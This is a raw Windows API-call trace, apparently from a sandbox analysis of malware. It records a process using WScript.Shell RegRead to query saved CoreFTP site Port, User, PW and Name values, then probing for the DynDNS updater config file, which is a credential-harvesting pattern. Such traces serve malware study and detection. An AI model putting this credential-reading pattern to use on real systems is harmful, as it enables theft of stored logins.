	[0214.197] IUnknown:QueryInterface (in: This=0x7bfeb4, riid=0x747ff5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe1d4 | out: ppvObject=0x5ffe1d4*=0x7bfea0) returned 0x0
	[0214.197] IUnknown:Release (This=0x7bfeb4) returned 0x2
	[0214.197] IDispatch:GetIDsOfNames (in: This=0x7bfea0, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x5ffe1d0*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x5ffe1c0 | out: rgDispId=0x5ffe1c0*=2000) returned 0x0
	[0214.197] IDispatch:Invoke (in: This=0x7bfea0, dispIdMember=2000, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPort", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228, pExcepInfo=0x5ffe0b8, puArgErr=0x5ffe158 | out: pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPort", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228*(varType=0x0, wReserved1=0xc2cf, wReserved2=0xb67d, wReserved3=0x79d7, varVal1=0x80070003, varVal2=0x8fb25db1), pExcepInfo=0x5ffe0b8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPort\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070003), puArgErr=0x5ffe158*=0x5ffe1a8) returned 0x80020009
	[0214.199] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPort\".") returned 0x50
	[0214.199] SysStringLen (param_1="WshShell.RegRead") returned 0x10
	[0214.201] IUnknown:Release (This=0x7bfea0) returned 0x1
	[0214.206] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x5ffe490 | out: lpclsid=0x5ffe490*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0214.207] CoGetClassObject (in: rclsid=0x5cbdb4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5ffe300 | out: ppv=0x5ffe300*=0x7bfe58) returned 0x0
	[0214.207] WshShell:IUnknown:QueryInterface (in: This=0x7bfe58, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffe130 | out: ppvObject=0x5ffe130*=0x0) returned 0x80004002
	[0214.207] WshShell:IClassFactory:CreateInstance (in: This=0x7bfe58, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe168 | out: ppvObject=0x5ffe168*=0x7bfee4) returned 0x0
	[0214.207] IUnknown:QueryInterface (in: This=0x7bfee4, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdf0c | out: ppvObject=0x5ffdf0c*=0x7bfee4) returned 0x0
	[0214.207] IUnknown:QueryInterface (in: This=0x7bfee4, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ffdec8 | out: ppvObject=0x5ffdec8*=0x0) returned 0x80004002
	[0214.208] IUnknown:QueryInterface (in: This=0x7bfee4, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffddbc | out: ppvObject=0x5ffddbc*=0x7bfed4) returned 0x0
	[0214.208] IProvideClassInfo:GetClassInfo (in: This=0x7bfed4, ppTI=0x5ffddb4 | out: ppTI=0x5ffddb4*=0x51fef88) returned 0x0
	[0214.208] ITypeInfo:RemoteGetTypeAttr (in: This=0x51fef88, ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83 | out: ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83) returned 0x0
	[0214.208] ITypeInfo:LocalReleaseTypeAttr (This=0x51fef88) returned 0x5d3fa0
	[0214.208] IUnknown:Release (This=0x7bfed4) returned 0x2
	[0214.208] IUnknown:Release (This=0x51fef88) returned 0x1
	[0214.208] IUnknown:AddRef (This=0x7bfee4) returned 0x3
	[0214.208] CoGetContextToken (in: pToken=0x5ffdd54 | out: pToken=0x5ffdd54) returned 0x0
	[0214.208] CoGetContextToken (in: pToken=0x5ffdd18 | out: pToken=0x5ffdd18) returned 0x0
	[0214.208] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd4c | out: ppvObject=0x5ffdd4c*=0x527e54) returned 0x0
	[0214.208] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffdd7c | out: pAptType=0x5ffdd7c*=0) returned 0x0
	[0214.208] IUnknown:Release (This=0x527e54) returned 0x1
	[0214.208] IUnknown:QueryInterface (in: This=0x7bfee4, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd3c | out: ppvObject=0x5ffdd3c*=0x0) returned 0x80004002
	[0214.209] CoGetContextToken (in: pToken=0x5ffdd4c | out: pToken=0x5ffdd4c) returned 0x0
	[0214.209] IUnknown:AddRef (This=0x7bfee4) returned 0x4
	[0214.209] IUnknown:QueryInterface (in: This=0x7bfee4, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffddc0 | out: ppvObject=0x5ffddc0*=0x0) returned 0x80004002
	[0214.209] IUnknown:Release (This=0x7bfee4) returned 0x3
	[0214.209] IUnknown:Release (This=0x7bfee4) returned 0x2
	[0214.209] WshShell:IUnknown:Release (This=0x7bfe58) returned 0x0
	[0214.209] IUnknown:Release (This=0x7bfee4) returned 0x1
	[0214.210] CoGetContextToken (in: pToken=0x5ffe178 | out: pToken=0x5ffe178) returned 0x0
	[0214.210] IUnknown:AddRef (This=0x7bfee4) returned 0x2
	[0214.210] IUnknown:QueryInterface (in: This=0x7bfee4, riid=0x747ff5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe1d4 | out: ppvObject=0x5ffe1d4*=0x7bfed0) returned 0x0
	[0214.210] IUnknown:Release (This=0x7bfee4) returned 0x2
	[0214.210] IDispatch:GetIDsOfNames (in: This=0x7bfed0, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x5ffe1d0*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x5ffe1c0 | out: rgDispId=0x5ffe1c0*=2000) returned 0x0
	[0214.210] IDispatch:Invoke (in: This=0x7bfed0, dispIdMember=2000, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesUser", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228, pExcepInfo=0x5ffe0b8, puArgErr=0x5ffe158 | out: pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesUser", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228*(varType=0x0, wReserved1=0xc2cf, wReserved2=0xb67d, wReserved3=0x79d7, varVal1=0x80070003, varVal2=0x8fb25db1), pExcepInfo=0x5ffe0b8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesUser\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070003), puArgErr=0x5ffe158*=0x5ffe1a8) returned 0x80020009
	[0214.211] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesUser\".") returned 0x50
	[0214.211] SysStringLen (param_1="WshShell.RegRead") returned 0x10
	[0214.213] IUnknown:Release (This=0x7bfed0) returned 0x1
	[0214.217] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x5ffe490 | out: lpclsid=0x5ffe490*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0214.218] CoGetClassObject (in: rclsid=0x5cbdb4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5ffe300 | out: ppv=0x5ffe300*=0x7bfe58) returned 0x0
	[0214.218] WshShell:IUnknown:QueryInterface (in: This=0x7bfe58, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffe130 | out: ppvObject=0x5ffe130*=0x0) returned 0x80004002
	[0214.218] WshShell:IClassFactory:CreateInstance (in: This=0x7bfe58, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe168 | out: ppvObject=0x5ffe168*=0x7bff14) returned 0x0
	[0214.218] IUnknown:QueryInterface (in: This=0x7bff14, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdf0c | out: ppvObject=0x5ffdf0c*=0x7bff14) returned 0x0
	[0214.219] IUnknown:QueryInterface (in: This=0x7bff14, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ffdec8 | out: ppvObject=0x5ffdec8*=0x0) returned 0x80004002
	[0214.219] IUnknown:QueryInterface (in: This=0x7bff14, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffddbc | out: ppvObject=0x5ffddbc*=0x7bff04) returned 0x0
	[0214.219] IProvideClassInfo:GetClassInfo (in: This=0x7bff04, ppTI=0x5ffddb4 | out: ppTI=0x5ffddb4*=0x51fef88) returned 0x0
	[0214.219] ITypeInfo:RemoteGetTypeAttr (in: This=0x51fef88, ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83 | out: ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83) returned 0x0
	[0214.219] ITypeInfo:LocalReleaseTypeAttr (This=0x51fef88) returned 0x54e910
	[0214.219] IUnknown:Release (This=0x7bff04) returned 0x2
	[0214.219] IUnknown:Release (This=0x51fef88) returned 0x1
	[0214.219] IUnknown:AddRef (This=0x7bff14) returned 0x3
	[0214.220] CoGetContextToken (in: pToken=0x5ffdd54 | out: pToken=0x5ffdd54) returned 0x0
	[0214.220] CoGetContextToken (in: pToken=0x5ffdd18 | out: pToken=0x5ffdd18) returned 0x0
	[0214.220] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd4c | out: ppvObject=0x5ffdd4c*=0x527e54) returned 0x0
	[0214.220] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffdd7c | out: pAptType=0x5ffdd7c*=0) returned 0x0
	[0214.220] IUnknown:Release (This=0x527e54) returned 0x1
	[0214.220] IUnknown:QueryInterface (in: This=0x7bff14, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd3c | out: ppvObject=0x5ffdd3c*=0x0) returned 0x80004002
	[0214.220] CoGetContextToken (in: pToken=0x5ffdd4c | out: pToken=0x5ffdd4c) returned 0x0
	[0214.220] IUnknown:AddRef (This=0x7bff14) returned 0x4
	[0214.220] IUnknown:QueryInterface (in: This=0x7bff14, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffddc0 | out: ppvObject=0x5ffddc0*=0x0) returned 0x80004002
	[0214.220] IUnknown:Release (This=0x7bff14) returned 0x3
	[0214.220] IUnknown:Release (This=0x7bff14) returned 0x2
	[0214.220] WshShell:IUnknown:Release (This=0x7bfe58) returned 0x0
	[0214.220] IUnknown:Release (This=0x7bff14) returned 0x1
	[0214.222] CoGetContextToken (in: pToken=0x5ffe178 | out: pToken=0x5ffe178) returned 0x0
	[0214.222] IUnknown:AddRef (This=0x7bff14) returned 0x2
	[0214.222] IUnknown:QueryInterface (in: This=0x7bff14, riid=0x747ff5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe1d4 | out: ppvObject=0x5ffe1d4*=0x7bff00) returned 0x0
	[0214.222] IUnknown:Release (This=0x7bff14) returned 0x2
	[0214.222] IDispatch:GetIDsOfNames (in: This=0x7bff00, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x5ffe1d0*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x5ffe1c0 | out: rgDispId=0x5ffe1c0*=2000) returned 0x0
	[0214.222] IDispatch:Invoke (in: This=0x7bff00, dispIdMember=2000, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPW", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228, pExcepInfo=0x5ffe0b8, puArgErr=0x5ffe158 | out: pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPW", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228*(varType=0x0, wReserved1=0xc2cf, wReserved2=0xb67d, wReserved3=0x79d7, varVal1=0x80070003, varVal2=0x8fb25db1), pExcepInfo=0x5ffe0b8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPW\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070003), puArgErr=0x5ffe158*=0x5ffe1a8) returned 0x80020009
	[0214.223] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPW\".") returned 0x4e
	[0214.223] SysStringLen (param_1="WshShell.RegRead") returned 0x10
	[0214.226] IUnknown:Release (This=0x7bff00) returned 0x1
	[0214.233] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x5ffe490 | out: lpclsid=0x5ffe490*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0214.234] CoGetClassObject (in: rclsid=0x5cbdb4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7480a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5ffe300 | out: ppv=0x5ffe300*=0x7bfe58) returned 0x0
	[0214.234] WshShell:IUnknown:QueryInterface (in: This=0x7bfe58, riid=0x748f7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffe130 | out: ppvObject=0x5ffe130*=0x0) returned 0x80004002
	[0214.234] WshShell:IClassFactory:CreateInstance (in: This=0x7bfe58, pUnkOuter=0x0, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe168 | out: ppvObject=0x5ffe168*=0x7bff44) returned 0x0
	[0214.234] IUnknown:QueryInterface (in: This=0x7bff44, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdf0c | out: ppvObject=0x5ffdf0c*=0x7bff44) returned 0x0
	[0214.234] IUnknown:QueryInterface (in: This=0x7bff44, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5ffdec8 | out: ppvObject=0x5ffdec8*=0x0) returned 0x80004002
	[0214.234] IUnknown:QueryInterface (in: This=0x7bff44, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5ffddbc | out: ppvObject=0x5ffddbc*=0x7bff34) returned 0x0
	[0214.235] IProvideClassInfo:GetClassInfo (in: This=0x7bff34, ppTI=0x5ffddb4 | out: ppTI=0x5ffddb4*=0x51fef88) returned 0x0
	[0214.235] ITypeInfo:RemoteGetTypeAttr (in: This=0x51fef88, ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83 | out: ppTypeAttr=0x5ffddc8, pDummy=0xcfb98e83) returned 0x0
	[0214.235] ITypeInfo:LocalReleaseTypeAttr (This=0x51fef88) returned 0x5d3fa0
	[0214.235] IUnknown:Release (This=0x7bff34) returned 0x2
	[0214.235] IUnknown:Release (This=0x51fef88) returned 0x1
	[0214.236] IUnknown:AddRef (This=0x7bff44) returned 0x3
	[0214.236] CoGetContextToken (in: pToken=0x5ffdd54 | out: pToken=0x5ffdd54) returned 0x0
	[0214.236] CoGetContextToken (in: pToken=0x5ffdd18 | out: pToken=0x5ffdd18) returned 0x0
	[0214.236] IUnknown:QueryInterface (in: This=0x527e48, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd4c | out: ppvObject=0x5ffdd4c*=0x527e54) returned 0x0
	[0214.236] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527e54, pAptType=0x5ffdd7c | out: pAptType=0x5ffdd7c*=0) returned 0x0
	[0214.236] IUnknown:Release (This=0x527e54) returned 0x1
	[0214.236] IUnknown:QueryInterface (in: This=0x7bff44, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffdd3c | out: ppvObject=0x5ffdd3c*=0x0) returned 0x80004002
	[0214.236] CoGetContextToken (in: pToken=0x5ffdd4c | out: pToken=0x5ffdd4c) returned 0x0
	[0214.236] IUnknown:AddRef (This=0x7bff44) returned 0x4
	[0214.236] IUnknown:QueryInterface (in: This=0x7bff44, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffddc0 | out: ppvObject=0x5ffddc0*=0x0) returned 0x80004002
	[0214.236] IUnknown:Release (This=0x7bff44) returned 0x3
	[0214.237] IUnknown:Release (This=0x7bff44) returned 0x2
	[0214.237] WshShell:IUnknown:Release (This=0x7bfe58) returned 0x0
	[0214.237] IUnknown:Release (This=0x7bff44) returned 0x1
	[0214.239] CoGetContextToken (in: pToken=0x5ffe178 | out: pToken=0x5ffe178) returned 0x0
	[0214.239] IUnknown:AddRef (This=0x7bff44) returned 0x2
	[0214.239] IUnknown:QueryInterface (in: This=0x7bff44, riid=0x747ff5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5ffe1d4 | out: ppvObject=0x5ffe1d4*=0x7bff30) returned 0x0
	[0214.239] IUnknown:Release (This=0x7bff44) returned 0x2
	[0214.239] IDispatch:GetIDsOfNames (in: This=0x7bff30, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x5ffe1d0*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x5ffe1c0 | out: rgDispId=0x5ffe1c0*=2000) returned 0x0
	[0214.240] IDispatch:Invoke (in: This=0x7bff30, dispIdMember=2000, riid=0x747ff910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesName", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228, pExcepInfo=0x5ffe0b8, puArgErr=0x5ffe158 | out: pDispParams=0x5ffe25c*(rgvarg=([0]=0x5ffe1e0*(varType=0x4008, wReserved1=0x5ff, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ffe1b0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesName", varVal2=0x749b8ab3)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x5ffe228*(varType=0x0, wReserved1=0xc2cf, wReserved2=0xb67d, wReserved3=0x79d7, varVal1=0x80070003, varVal2=0x8fb25db1), pExcepInfo=0x5ffe0b8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesName\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070003), puArgErr=0x5ffe158*=0x5ffe1a8) returned 0x80020009
	[0214.241] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesName\".") returned 0x50
	[0214.241] SysStringLen (param_1="WshShell.RegRead") returned 0x10
	[0214.244] IUnknown:Release (This=0x7bff30) returned 0x1
	[0214.281] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\DynDNS\\Updater\\config.dyndns", nBufferLength=0x105, lpBuffer=0x5ffe160, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\DynDNS\\Updater\\config.dyndns", lpFilePart=0x0) returned 0x2b
	[0214.281] GetLastError () returned 0x0
	[0214.281] SetErrorMode (uMode=0x1) returned 0x0
	[0214.281] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\DynDNS\\Updater\\config.dyndns" (normalized: "c:\\programdata\\dyndns\\updater\\config.dyndns"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5e0 | out: lpFileInformation=0x5ffe5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0214.281] GetLastError () returned 0x3
